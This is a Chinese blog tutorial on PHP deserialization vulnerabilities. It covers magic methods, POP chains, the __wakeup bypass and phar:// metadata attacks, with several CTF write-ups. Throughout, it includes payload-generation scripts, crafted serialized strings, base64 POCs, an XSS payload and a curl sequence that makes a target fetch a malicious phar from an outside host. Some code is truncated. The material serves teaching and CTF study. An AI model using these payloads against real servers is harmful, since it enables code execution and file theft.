0x00 知识点

自从 Orange 在 2017年的 hitcon 出了一个 0day 的 php phar:// 反序列化给整个安全界开启了新世界的大门以后,php 反序列化这个漏洞就逐渐升温,没想到后来 2018 年 blackhat 的议题上这个问题再次被提及,利用的还是 Orange 的思路(我只能 orz),到现在 phar:// 反序列化已经成为了各大 CTF 炙手可热的思路,就仿佛 2016 年的 CVE-2016-7124 绕过 __weakup 一样。

0x01 PHP的序列化和反序列化

概念

这其实是为了解决 PHP 对象传递的一个问题,因为 PHP 文件在执行结束以后就会将对象销毁,那么如果下次有一个页面恰好要用到刚刚销毁的对象就会束手无策,总不能你永远不让它销毁,等着你吧,于是人们就想出了一种能长久保存对象的方法,这就是 PHP 的序列化,那当我们下次要用的时候只要反序列化一下就 ok 啦

序列化的目的是方便数据的传输和存储. json 是为了传递数据的方便性.

序列化示例:

<?php

class test{

    public $name = 'P2hm1n';  

    private $sex = 'secret';  

    protected $age = '20';

}

$test1 = new test();

$object = serialize($test1);

print_r($object);

?>

关键函数 serialize():将PHP中创建的对象,变成一个字符串

private属性序列化的时候格式是 %00类名%00成员名

protected属性序列化的时候格式是 %00*%00成员名

关键要点:

在Private 权限私有属性序列化的时候格式是 %00类名%00属性名

在Protected 权限序列化的时候格式是 %00*%00属性名

你可能会发现这样一个问题,你这个类定义了那么多方法,怎么把对象序列化了以后全都丢了?你看你整个序列化的字符串里面全是属性,就没有一个方法,这是为啥?

请记住,序列化他只序列化属性,不序列化方法,这个性质就引出了两个非常重要的话题:

(1)我们在反序列化的时候一定要保证在当前的作用域环境下有该类存在

这里不得不扯出反序列化的问题,这里先简单说一下,反序列化就是将我们压缩格式化的对象还原成初始状态的过程(可以认为是解压缩的过程),因为我们没有序列化方法,因此在反序列化以后我们如果想正常使用这个对象的话我们必须要依托于这个类要在当前作用域存在的条件。

(2)我们在反序列化攻击的时候也就是依托类属性进行攻击

因为没有序列化方法嘛,我们能控制的只有类的属性,因此类属性就是我们唯一的攻击入口,在我们的攻击流程中,我们就是要寻找合适的能被我们控制的属性,然后利用它本身的存在的方法,在基于属性被控制的情况下发动我们的发序列化攻击(这是我们攻击的核心思想,这里先借此机会抛出来,大家有一个印象)

图片1

反序列化示例:

<?php

$object = '经过序列化的字符串';

$test = unserialize($object1);

print_r($test3);

?>

图片2

关键函数 unserialize():将经过序列化的字符串转换回PHP值

当有 protected 和 private 属性的时候记得补齐空的字符串

__wakeup()魔术方法

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

序列化public private protect参数产生不同结果

<?php
class test{
    private $test1="hello";
    public $test2="hello";
    protected $test3="hello";
}
$test = new test();
echo serialize($test);  //  O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}
?>

test类定义了三个不同类型(私有,公有,保护)但是值相同的字符串,序列化输出的值不相同 O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}

通过对网页抓取输出是这样的 O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}

private的参数被反序列化后变成 \00test\00test1 public的参数变成 test2 protected的参数变成 \00*\00test3

0x02 为什么会产生反序列化漏洞?

概念解释

PHP 反序列化漏洞又叫做 PHP 对象注入漏洞,是因为程序对输入数据处理不当导致的.

反序列化漏洞的成因在于代码中的 unserialize() 接收的参数可控,从上面的例子看,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击。

需要具备反序列化漏洞的前提:

必须有 unserailize() 函数

unserailize() 函数的参数必须可控(为了成功达到控制你输入的参数所实现的功能,可能需要绕过一些魔法函数

PHP的魔法方法

PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 __ 为前缀。 常见的魔法方法如下:

__construct(),类的构造函数

__destruct(),类的析构函数

__call(),在对象中调用一个不可访问方法时调用

__callStatic(),用静态方式中调用一个不可访问方法时调用

__get(),获得一个类的成员变量时调用

__set(),设置一个类的成员变量时调用

__isset(),当对不可访问属性调用isset()或empty()时调用

__unset(),当对不可访问属性调用unset()时被调用。

__sleep(),执行serialize()时,先会调用这个函数

__wakeup(),执行unserialize()时,先会调用这个函数

__toString(),类被当成字符串时的回应方法

__invoke(),调用函数的方式调用一个对象时的回应方法

__set_state(),调用var_export()导出类时,此静态方法会被调用。

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

(1) __construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。
(2) __wakeup() :unserialize()时会自动调用
(3) __destruct():当对象被销毁时会自动调用。
(4) __toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
(5) __get() :当从不可访问的属性读取数据
(6) __call(): 在对象上下文中调用不可访问的方法时触发

其中特别说明一下第四点:

这个 __toString 触发的条件比较多,也因为这个原因容易被忽略,常见的触发条件有下面几种

(1)echo ($obj) / print($obj) 打印时会触发

(2)反序列化对象与字符串连接时

(3)反序列化对象参与格式化字符串时

(4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

(5)反序列化对象参与格式化SQL语句,绑定参数时

(6)反序列化对象在经过php字符串函数,如 strlen()、addslashes()时

(7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用

(8)反序列化的对象作为 class_exists() 的参数的时候

在我们的攻击中,反序列化函数 unserialize() 是我们攻击的入口,也就是说,只要这个参数可控,我们就能传入任何的已经序列化的对象(只要这个类在当前作用域存在我们就可以利用),而不是局限于出现 unserialize() 函数的类的对象,如果只能局限于当前类,那我们的攻击面也太狭小了,这个类不调用危险的方法我们就没法发起攻击。

但是我们又知道,你反序列化了其他的类对象以后我们只是控制了是属性,如果你没有在完成反序列化后的代码中调用其他类对象的方法,我们还是束手无策,毕竟代码是人家写的,人家本身就是要反序列化后调用该类的某个安全的方法,你总不能改人家的代码吧,但是没关系,因为我们有魔法方法。

魔法正如上面介绍的,魔法方法的调用是在该类序列化或者反序列化的同时自动完成的,不需要人工干预,这就非常符合我们的想法,因此只要魔法方法中出现了一些我们能利用的函数,我们就能通过反序列化中对其对象属性的操控来实现对这些函数的操控,进而达到我们发动攻击的目的。

示例程序:

<?php 

class test{

    public $target = 'this is a test';

    function __destruct(){

        echo $this->target;

    }

}

$a = $_GET['b'];

$c = unserialize($a);

?>

满足反序列化漏洞条件:存在unserialize() 函数,函数参数$a可以控制,就具备了利用反序列化漏洞的前提。因为存在 echo 的原因,我们还可以直接利用xss

<?php 

class test{

    public $target = '<script>alert(/xss/);</script>';

}

$a = new test();

$a = serialize($a);

echo $a;

?>

图片3

0x03 魔术方法运行先后顺序

<?php   

class test{

    public $name = 'P2hm1n';

    function __construct(){

        echo "__construct()";

        echo "<br><br>";

    }

    function __destruct(){

        echo "__destruct()";

        echo "<br><br>";

    }

    function __wakeup(){

        echo "__wakeup()";

        echo "<br><br>";

    }

    function __toString(){

        return "__toString()"."<br><br>";

    }

    function __sleep(){

        echo "__sleep()";

        echo "<br><br>";

        return array("name");

    }

}

$test1 = new test();

$test2 = serialize($test1);

$test3 = unserialize($test2);

print($test3);

?>

图片4

我们一样是来写一个代码进行验证:

class test {

private $flag = '';

# 用于保存重载的数据 
private $data = array();

public $filename = '';

public $content = '';

function __construct($filename, $content) {
    $this->filename = $filename;
    $this->content = $content;
    echo 'construct function in test class';
    echo "<br>";
}

function __destruct() {
    echo 'destruct function in test class';
    echo "<br>";
}

function __set($key, $value) {
    echo 'set function in test class';
    echo "<br>";
    $this->data[$key] = $value;
}

function __get($key) {
    echo 'get function in test class';
    echo "<br>";
    if (array_key_exists($key, $this->data)) {
        return $this->data[$key];
    } else {
        return null;
    }
}

function __isset($key) {
    echo 'isset function in test class';
    echo "<br>";
    return isset($this->data[$key]);
}

function __unset($key) {
    echo 'unset function in test class';
    echo "<br>";
    unset($this->data[$key]);
}

public function set_flag($flag) {
    $this->flag = $flag;
}

public function get_flag() {
    return $this->flag;
}
}


$a = new test('test.txt', 'data');

# __set() 被调用
$a->var = 1;

# __get() 被调用
echo $a->var;

# __isset() 被调用
var_dump(isset($a->var));

# __unset() 被调用
unset($a->var);

var_dump(isset($a->var));

echo "\n";

我们可以看到调用的顺序为:

构造方法 => set方法(我们此时为类中并没有定义过的一个类属性进行赋值触发了set方法) => get方法 => isset方法 => unset方法 => isset方法 => 析构方法

同时也可以发现,析构方法在所有的代码被执行结束之后进行的。
__call() __callStatic()

实例程序:

<?php
class pompom{

  private $name = "pompom";
  function __construct(){
     echo "__construct";
	 echo "</br>";
  }
  function __sleep(){
     echo "__sleep";
	 echo "</br>";
	 return array("name");
  }
  function __wakeup(){
     echo "__wakeup";
	 echo "</br>";
  }
  function __destruct(){
     echo "__destruct";
	 echo "</br>";
  }
  function __toString(){
     return "__toString"."</br>";
  }
}

$pompom_old = new pompom();
$data = serialize($pompom_old);
file_put_contents("serialize-3.txt", $data);
$pompom_new = unserialize($data);
print($pompom_new);

输出结果:

__construct
__sleep
__wakeup
__toString
__destruct
__destruct

就是提示一下这里 __destruct 了两次说明当前实际上有两个对象,一个就是实例化的时候创建的对象,另一个就是反序列化后生成的对象。

PHP反序列化标识符含义:

a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

序列化:把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等 函数 : serialize()

反序列化:恢复原先被序列化的变量 函数: unserialize()

<?php
$test1 = "hello world";
$test2 = array("hello","world");
$test3 = 123456;
echo serialize($test1); //  s:11:"hello world";  序列化字符串
echo serialize($test2); // a:2:{i:0;s:5:"hello";i:1;s:5:"world";} 序列化数组
echo serialize($test3); //  i:123456;  
?>

<?php
class hello{
    public $test4 = "hello,world";
}
$test = new hello();
echo serialize($test);  //  O:5:"hello":1:{s:5:"test4";s:11:"hello,world";}  序列化对象  首字母代表参数类型 O->Objext S->String...
?>

0x04 利用魔法方法发起攻击

<?php
class K0rz3n {
    private $test;
    public $K0rz3n = "i am K0rz3n";
    function __construct() {
        $this->test = new L();
    }

    function __destruct() {
        $this->test->action();
    }
}

class L {
    function action() {
        echo "Welcome to XDSEC";
    }
}

class Evil {

    var $test2;
    function action() {
        eval($this->test2);
    }
}

unserialize($_GET['test']);

首先我们能看到 unserialize() 函数的参数我们是可以控制的,也就是说我们能通过这个接口反序列化任何类的对象(但只有在当前作用域的类才对我们有用),那我们看一下当前这三个类,我们看到后面两个类反序列化以后对我们没有任何意义,因为我们根本没法调用其中的方法,但是第一个类就不一样了,虽然我们也没有什么代码能实现调用其中的方法的,但是我们发现他有一个魔法函数 __destruct() ,这就非常有趣了,因为这个函数能在对象销毁的时候自动调用,不用我们人工的干预,好,既然这样我们就决定反序列化这个类的对象了,接下来让我们看一下怎么利用(我上面说过了,我们需要控制这个类的某些属性,通过控制属性实现我们的攻击).

destruct() 里面只用到了一个属性 test ,那肯定就是他了,那我们控制这个属性为什么内容我们就能攻击了呢,我们再观察一下 那些地方调用了 action() 函数,看看这个函数的调用中有没有存在执行命令或者是其他我们能利用的点的,果然我们在 Evil 这个类中发现他的 action() 函数调用了 eval(),那我们的想法就很明确了,

我们需要将 K0rz3n 这个类中的 test 属性篡改为 Evil 这个类的对象,然后为了 eval 能执行命令,我们还要篡改 Evil 对象的 test2 属性,将其改成我们的 Payload.

分析完毕以后我们就可以构建我们的序列化字符串了,构建的方法不是手写(当然你愿意我也不拦着你,理论上是可行的),我们要将这段代码复制一下,然后修改一些内容并进行序列化操作.

生成 payload 代码:

<?php
class K0rz3n {
    private $test;
    function __construct() {
        $this->test = new Evil;
    }
}


class Evil {

    var $test2 = "phpinfo();";

}

$K0rz3n = new K0rz3n;
$data = serialize($K0rz3n);
file_put_contents("seria.txt", $data);

我们去除了一切与我们要篡改的属性无关的内容,对其进行序列化操作,然后将序列化的结果复制出来,想刚刚的代码发起请求

http://127.0.0.1/php_unserialize/K0rz3n.php?test=O:6:"K0rz3n":1:{s:12:"K0rz3ntest";O:4:"Evil":1:{s:5:"test2";s:10:"phpinfo();";}}

注意要添加上:%00xxx%00

可以看到我们攻击成功,特别要提醒一下的就是我在图中框起来的部分,上面说过由于是私有属性,他有自己特殊的格式会在前后加两个 %00 ,所以我们在传输过程中绝对不能忘掉.

通过这个简单的例子总结一下寻找 PHP 反序列化漏洞的方法或者说流程

(1) 寻找 unserialize() 函数的参数是否有我们的可控点

(2) 寻找我们的反序列化的目标,重点寻找 存在 wakeup() 或 destruct() 魔法函数的类

(3) 一层一层地研究该类在魔法方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发的

(4) 找到我们要控制的属性了以后我们就将要用到的代码部分复制下来,然后构造序列化,发起攻击

0x05 PHP反序列化漏洞试题练习

解题思路:通过源码将对应字符串序列化即可.

<?php 

$KEY = "D0g3!!!";

echo serialize($KEY)

?>
  • 2、BugKu welcome to bugkuctf

解题思路:考察的包含3个知识点

a、 PHP://input 作为文件读入

b、 PHP文件包含漏洞(php://filter/read=convert.base64-encode/resource=)

c、 PHP反序列化漏洞利用

只需要控制 $this->file 就能读到我们想要的文件

<?php   

class Flag{//flag.php  

    public $file = 'flag.php'; 

}

$a = new Flag();

$a = serialize($a);

echo $a;  

?>
  • 3、__wakeup() 函数失效引发漏洞(CVE-2016-7124)

漏洞影响版本

PHP5 < 5.6.25

PHP7 < 7.0.10

漏洞原理及要点

__wakeup()函数触发于unserilize()调用之前,但是如果被反序列话的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得 __wakeup()函数失效。当成员属性数目大于实际数目时会跳过 __wakeup()函数的执行。

实例演示:sugarcrm <=6.5.23 存在此漏洞 (https://blog.csdn.net/qq_19876131/article/details/52890854)

推荐阅读:SugarCRM v6.5.23 PHP反序列化对象注入漏洞

  • 4、HITCON 2016的web题babytrick为例:

访问https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2016/babytrick查看源码

解题思路:注意到类中有魔术方法__wakeup,其中函数会对我们的输入进行过滤、转义。

如何绕过__wakeup呢?谷歌发现了CVE-2016-7124,一个月前爆出的。简单来说就是当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行。参考https://bugs.php.net/bug.php?id=72663,某一种情况下,出错的对象不会被毁掉,会绕过__wakeup函数、引用其他的魔术方法。

官方exp如下:

<?php

class obj implements Serializable {

var $data;

function serialize() {

return serialize($this->data);

}

function unserialize($data) {

$this->data = unserialize($data);

}

}

$inner = 'a:1:{i:0;O:9:"Exception":2:{s:7:"'."".'*'."".'file";R:4;}';

$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';

$data = unserialize($exploit);

echo $data[1];

?>
  • 5、第12届2019年全国大学生信息安全竞赛-Web之JustSoso

解题思路:

a、 http://xxx/index.php?file=php://filter/read/convert.base64-encode/resource=index(hint).php

b、parse_url() 函数解析漏洞 使用域名之后使用///

parse_url()会把//认为是相对路径(5.4.7以前) ///会被返回false 从而绕过过滤

c、hint.php 中的对象在反序列化的时候,会先调用 __wakeup 魔术方法,PHP反序列化绕过__wakeup方法(PHP-Bug-72663),

将我们payload中O:6:"Handle":1改为O:6:"Handle":2

d、使用引用,使token为token_flag的引用,从而 token===token_flag

要让token===token_flag,我们可以使用引用,使token变为token_flag的引用

找到一个正解,使用php得引用赋值来绕过。

原理:
a=1;
b=&a;
a=a+1;
那末最后b得值也会变为2,因为b是引用赋值。

这里我们同样得方法,我们在构造序列化字符串得时候加上这么一句:

$b = new Flag("flag.php");

$b->token=&$b->token_flag;

$a = new Handle($b);

那末token得值就始终和token_flag保持一致了。

e、还有一点要注意:s:14:"Handlehandle" 为什么长度是12,前面的值却是14呢?

这是因为当成员属性为private时,在序列化后,Handle字串前后会各有一个0x00,因此长度为14。

类似的protect属性,则是在*前后各有一个0x00。

0x00的url编码为%00,因此我们传参时要进行编码。因此最终payload要加上%00。

  • 6、2019年DDCTF-Web签到题

题目地址:http://117.51.158.44/index.php

解题思路:

a、 抓包分析可以看到有个明显的header头didictf_username,使用burpSuite发送到Repeater didictf_username加入admin 发送后得到app/fL2XID2i0Cdh.php

b、 POST /app/Session.php 获得到Cookie值.

c、 源码分析:

if(!empty($_POST["nickname"])) {    //POST的不为空

            $arr = array($_POST["nickname"],$this->eancrykey);

            $data = "Welcome my friend %s";

            foreach ($arr as $k => $v) {    //打印变量

                $data = sprintf($data,$v);    //输出

            }

            parent::response($data,"Welcome");

        }

修改 Content-Type:application/x-www-form-urlencoded,添加 nickname 变量中包含%s,加入获取的Cookie值,可得到$this->eancrykey的数值.

d、构造最终payload为

<?php

Class Application {

    var $path = '..././config/flag.txt';

}

$a = new Application();

$a = serialize($a);

print_r($a);

?>

解题思路:

首先是一个类sercet 接受$cmd,绕过正则 ,反序列化。覆盖$file的值,绕过 __wakeup,显示the_next.php的源码

O:6:"sercet":1:{s:12:"sercetfile";s:12:"the_next.php";}

POC1:
TzorNjoic2VyY2V0IjozOntzOjEyOiIAc2VyY2V0AGZpbGUiO3M6MTI6InRoZV9uZXh0LnBocCI7fQ==

在复现的过程中 我发现在hackbar中直接将 O:+6:"sercet":1:{s:12:" sercet file";s:12:"the_next.php";} base64编码不能绕过 必须要在本地base64_encode生成 才能复现成功

绕过正则可以用+号 问题是如何绕过__weakup函数 发现这是一个CVE漏洞 ==》当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

O:6:"sercet":1: 也就是输入比1大的值就行 如O:6:"sercet":2:

O:6:"sercet":2:{s:12:"sercetfile";s:12:"the_next.php";}

所以POC2: O:+6:"sercet":2:{S:12:"\00sercet\00file";s:12:"the_next.php";} TzorNjoic2VyY2V0IjoyOntTOjEyOiJcMDBzZXJjZXRcMDBmaWxlIjtzOjEyOiJ0aGVfbmV4dC5waHAiO30KCgo=

两个POC均可以成功绕过.

这个 bug 的原理是:当反序列化字符串中,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。

反序列化的字符串用户可控,但是反序列化后会先执行 __wakeup 函数,该函数会将 $this->file 变量设成固定值,导致我们无法进行任意文件读取。现在我们利用这个 bug 尝试绕过 __wakeup 函数。可以看到 ReadFile 类的属性中,只有一个 $file 私有属性,那么正常反序列化出来应该是下面这个样子:

而如果我们将数值个数值 1 改成大于 1 的任何数字,在反序列化时就不会调用 __wakeup 函数。观察上图,我们还会发现反序列化字符串中存在 \x00 字符,这个其实是类的私有属性反序列化后的格式,protected 属性也有自己的反序列化格式,不妨来看看:

回到题目上,我们最终可以用如下 payload ,实现绕过 __wakeup 函数读取任意文件:

0x06 PHP反序列化高阶学习(Php phar / PHP POP 链)

POP 链的介绍:

ROP 的全称是面向返回编程(Return-Oriented Programing),ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集,将这些本来无害的片段拼接起来,形成一个连续的层层递进的调用链,最终达到我们的执行 libc 中函数或者是 systemcall 的目的

POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的

说的再具体一点就是 ROP 是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的

说了这么多理论了,来点实战性的东西演示一下 POP 链的形成吧!

现在我们就按照,我上面说的步骤来一步一步的分析这段代码,最终构造我们的 POP 链完成利用

(1)寻找 unserialize() 函数的参数是否有我们的可控点

我们假设已经在第一段代码里设置了参数可控的 unserialize()

(2)寻找我们的反序列化的目标,重点寻找 存在 wakeup() 或 destruct() 魔法函数的类

我们在第一段代码中寻找,我们发现一眼就看到了我们最想要看到的东西,__destruct() 魔法方法,好,既然这样我们就将这个类作为我们的漏洞嫌疑对象

(3)一层一层地研究该类在魔法方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发的

1.我们就先来看一下这个 $write ,这个 $write 虽然不是属性,但是他是我们 $_write 属性的其中一部分,那么控制他也就等于控制属性,那我们就要好好研究一下这个 $write 了,他是什么呢?通过他能调用 shutdown() 来看,他是某一个类的一个对象,因为他不是单纯的属性所以我们还要向下挖

2.于是我们就要找一下定义 shutdown() 方法的类,然后我们就锁定了 Zend_Log_Writer_Mail 这个类,我们看到这个类里面使用了 $write 对象的很多属性,比如说 _layout ,然后我们又发现这个属性也调用了一个方法 render() ,说明这个属性其实也是一个对象,于是我们还要向更深处挖掘

3.那么 _layout 是谁的对象呢?我们发现他是 Zend_layout 的一个对象,同样的,他里面是用了一个 _inflector 的属性,这个属性调用了 filter 方法,看来他也是一个对象(有完没完~~)别急,我们继续向下

4.我们发现 _inflector 是 Zend_Filter_PregReplace 的一个对象,这个对象的一些属性是能进行直接控制的,并且在调用 filter 方法的时候能直接触发 preg_replace() 方法,太好了这正是我们想要的,我们只要控制这个对象的属性就能实现我们的利用链

最后一张 图片实际上已经将整个利用链画了出来,并且给上了 payload ,下面我想通过对整个 payload 的分析再来回顾一下整个 POP 链的调用过程.

所以整个 POP 链就是

writer->shutdown()->render()->filter()->preg_replace(我们控制的属性)->代码执行

声明:
当然这是一个很老的但是很经典的例子,里面用到的方法还是 preg_replace() 的 /e 选项,我们只是学习使用,请大家不要纠结

利用 phar:// 拓展 PHP 反序列化的攻击面

在 2017 年的 hitcon Orange 的一道 0day 题的解法令人震惊,Orange 通过他对底层的深度理解,为 PHP 反序列化开启了新的篇章,在此之后的 black 2018 演讲者同样用这个话题讲述了 phar:// 协议在 PHP 反序列化中的神奇利用,那么接下来就让我们分析他为什么开启了 PHP 反序列化的新世界,以及剖析一下这个他的利用方法。
1.回顾一下原先 PHP 反序列化攻击的必要条件

(1)首先我们必须有 unserailize() 函数

(2)unserailize() 函数的参数必须可控

这两个是原先存在 PHP 反序列化漏洞的必要条件,没有这两个条件你谈都不要谈,根本不可能,但是从2017 年开始 Orange 告诉我们是可以的

2.phar:// 如何扩展反序列化的攻击面的

原来 phar 文件包在 生成时会以序列化的形式存储用户自定义的 meta-data ,配合 phar:// 我们就能在文件系统函数 file_exists() is_dir() 等参数可控的情况下实现自动的反序列化操作,于是我们就能通过构造精心设计的 phar 包在没有 unserailize() 的情况下实现反序列化攻击,从而将 PHP 反序列化漏洞的触发条件大大拓宽了,降低了我们 PHP 反序列化的攻击起点。

3.具体解释一下 phar 的使用
1.Phar 的文件结构

phar 文件最核心也是必须要有的部分如图所示: phar-1.png

(1) a stub

图片中说了,这其实就是一个PHP 文件实际上我们能将其复杂化为下面这个样子

格式为:

xxx

前面内容不限,但必须以__HALT_COMPILER();?>来结尾,这部分的目的就是让 phar 扩展识别这是一个标准的 phar 文件

(2)a manifest describing the contents

因为 Phar 本身就是一个压缩文件,它里面存储着其中每个被压缩文件的权限、属性等信息。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

(3)the file contents

这部分就是我们想要压缩在 phar 压缩包内部的文件

2.如何创建一个合法的 Phar压缩文件 http://127.0.0.1/php_unserialize/Phar-1.php

可以清楚地看到我们的 TestObject 类已经以序列化的形式存入文件中

我们刚刚说过了,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化

测试后受影响的函数如下: 受影响的函数列表

fileatime filectime file_exists file_get_contents

file_put_contents file filegroup fopen

fileinode filemtime fileowner fikeperms

is_dir is_executable is_file is_link

is_readable is_writable is_writeable parse_ini_file

copy unlink stat readfile

3.phar 反序列化小实验

<?php 
    class TestObject {
        public function __destruct() {
            echo 'Destruct called';
        }
    }

    $filename = 'phar://phar.phar/test.txt';
    file_get_contents($filename); 
?>

可以看出我们成功的在没有 unserailize() 函数的情况下,通过精心构造的 phar 文件,再结合 phar:// 协议,配合文件系统函数,实现了一次精彩的反序列化操作。

其他函数当然也是可行的:

phar_test2.php

当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,一些之前看起来“人畜无害”的函数也变得“暗藏杀机”,极大的拓展了攻击面。

实际利用
3.1 利用条件

任何漏洞或攻击手法不能实际利用,都是纸上谈兵。在利用之前,先来看一下这种攻击的利用条件。

phar文件要能够上传到服务器端。
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

具体参考:利用 phar 拓展 php 反序列化漏洞攻击面
https://paper.seebug.org/680/

相关示例说明:

HITCON 2016上,orange 出了一道PHP反序列化。 babytrick
HITCON 2017上,orange 出了一道Phar + PHP反序列化。 下面的实例程序
HITCON 2018上,orange 出了一道file_get_contents + Phar + PHP反序列化。
Hitcon2018 BabyCake题目分析 https://www.anquanke.com/post/id/162431#h2-0
让我们期待HITCON 2019的操作

通过源码分析,很清楚 cookie 是通过 remote_addr 配合 sha1 进行 hmac 签名生成的,想绕过他那是不可能的,当时的人们肯定都是沉迷于无法绕过这个,于是最终这道题是 全球 0 解,但是现在我们就要思考一下 是不是能用 Phar 这个在不使用 unserialize() 的方式完成序列化成功 get flag

回顾一下使用 Phar 反序列化的条件是什么

(1)文件上传点
(2)系统文件函数
(3) phar:// 伪协议

这个太完美了,完全符合我们要求,我们只要的精心构造一个包含 Admin 对象、包含 avatar.gif 文件,并且 stub 是 GIF89a 的 phar 文件然后上传上去,下一次请求通过 Phar:// 协议让 file_get_contents 请求这个文件就可以实现我们对 Admin 对象的反序列化了(有人可能会说为什么不直接用 phar:// 请求远程文件,因为phar:// 不支持访问远程 URL )

生成 phar 的 paylod

';

$p->setMetadata(new Admin());
$p->setStub('GIF89a');
rename(DIR . '/avatar.phar', DIR . '/avatar.gif');
?>

这里还有一个点需要提一下(虽然和反序列化没什么直接关系),就是我们通过 eval 创建的函数并不能帮我们拿到 flag 因为他是随机名称的,我们是无法预测的,实际上这是 Orange 的一个障眼法,我们真正要利用的是 eval 下面的 $_GET"lucky";

但是实际上我们的 $FLAG 也是一个匿名函数,但是匿名函数就真的没有名字了吗?非也,匿名函数的函数名被定义为

\000_lambda_" . count(anonymous_functions)++;

这里的count 会一直递增到最大长度直到结束,这里我们可以通过大量的请求来迫使Pre-fork模式启动的Apache启动新的线程,这样这里的随机数会刷新为1,就可以预测了

下面给出 Orange 的解题过程

# get a cookie
$ curl http://host/ --cookie-jar cookie

# download .phar file from http://orange.tw/avatar.gif
$ curl -b cookie 'http://host/?m=upload&url=http://orange.tw/'

# force apache to fork new process
$ python fork.py &

# get flag
$ curl -b cookie "http://host/?m=upload&url=phar:///var/www/data/$MD5_IP/&lucky=lambda_1"

补充知识点(PHP中的类,对象,属性,方法,this,-> ):

php里面的类-----class XX{},通过类的定义,可以使用调用类里面的成员属性和成员方法。

对象---一个类就是一个对象,一个对象可以有多个属性,一个类可以有多个成员方法。

在PHP中,要创建一个类很简单,只需要关键字class即可,class {}

在PHP中用关键字new来创建一个类的对象,其语法如下:

$object_name=new class_name

其中,object_name即为所要建立的对象的名字,关键字new用来创建一个对象,class_name为类名。

在类中定义的变量我们称之为“属性(property)”,属性的声明必须由访问控制关键字public(公开的)、protected(受保护的)或private(私有的)开头。

class car {
public $brand = 'Volkswagen';
protected $price = 999999;
private $color = 'red';
	function getBrand(){
	return $this->brand;
	}
}

public属性可以在类的外部访问,而protected和private属性则只能由该类内部的方法使用。

外部访问对象的属性和方法时,使用 -> 操作符。内部访问时使用$this(伪变量)调用当前对象的属性或方法。

$c = new car();  //对象:c  类名:car
echo $c->brand; //Volkswagen
echo $c->price; //报错,受保护属性不允许外部访问
echo $c->color; //报错,私有属性不允许外部访问

类中的方法(function)和属性具有一样的访问控制方式。定义方法时加上public、protected和private关键字即可。默认状态下为public。同样的,public可通过->操作符外部访问,而protected和private方法只能通过为变量$this内部访问。

protected和private都不可外部访问,区别在哪里呢?

从字面理解,protected只是受保护而已,所有可以在本类、父类和子类中访问。而private只能在本类中访问。

posted on 2019-07-03 15:03  fish_pompom  阅读(6772)  评论(1编辑  收藏  举报